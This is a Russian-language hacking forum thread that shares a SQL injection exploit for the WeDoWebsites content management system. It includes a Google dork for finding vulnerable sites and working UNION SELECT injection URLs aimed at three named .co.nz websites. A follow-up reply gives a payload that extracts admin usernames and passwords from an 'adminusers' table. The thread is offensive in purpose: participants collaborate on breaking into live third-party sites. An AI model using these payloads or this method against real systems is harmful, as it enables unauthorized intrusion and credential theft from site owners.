WeDoWebsites CMS Remote SQL Injection Vulnerability

*******************WeDoWebsites Content Management System*******************

AUTHOR: Ded MustD!e
GOOGLE DORK: "Powered by a WeDoWebsites Content Management System"
LINK: http://www.wedowebsites.co.nz/
EXPLOIT: http://site.com/xxxxx.php?pid=[SQL-INJ]
DETAILS: колонок 6, а вот таблицу с данными админа я подобрать так и не смог, хотя префикс вроде не используется; админка: http://site.com/admin/
EXAMPLES:

Code:

http://www.whiteelephant.co.nz/abeltasmanbackpackers.php?pid=-1+union+select+1,2,3,4,conca   t_ws(0x3a,user(),version(),database()),6/*

Code:

http://www.vistadesign.co.nz/landscapedesigners.php?pid=-1+union+select+1,2,concat_ws(0x3a,   user(),version(),database()),4,5,6/*

Code:

http://www.villaonthebay.co.nz/holidayhomegallery.php?pid=-1+union+select+1,2,3,4,concat_ws(   0x3a,user(),version(),database()),6/*

P.S. А вообще в гугле 5 страниц с примерами . Если кто-нибудь подберет таблицу, напишите сюда или мне в ПМ, буду благодарен.

***************************************************************************

 

у меня выводится 11 полей =)
кмс платная что ли? в чем проблема узнать, какие там таблицы?

 

по-видимому да, я так и не нашел, где слить исходники

 

Code:

-1+union+select+1,2,3,4,concat_ws(0x3a,usr,pwd),6+from+[COLOR=YellowGreen]adminusers[/COLOR]+limit+0,1/*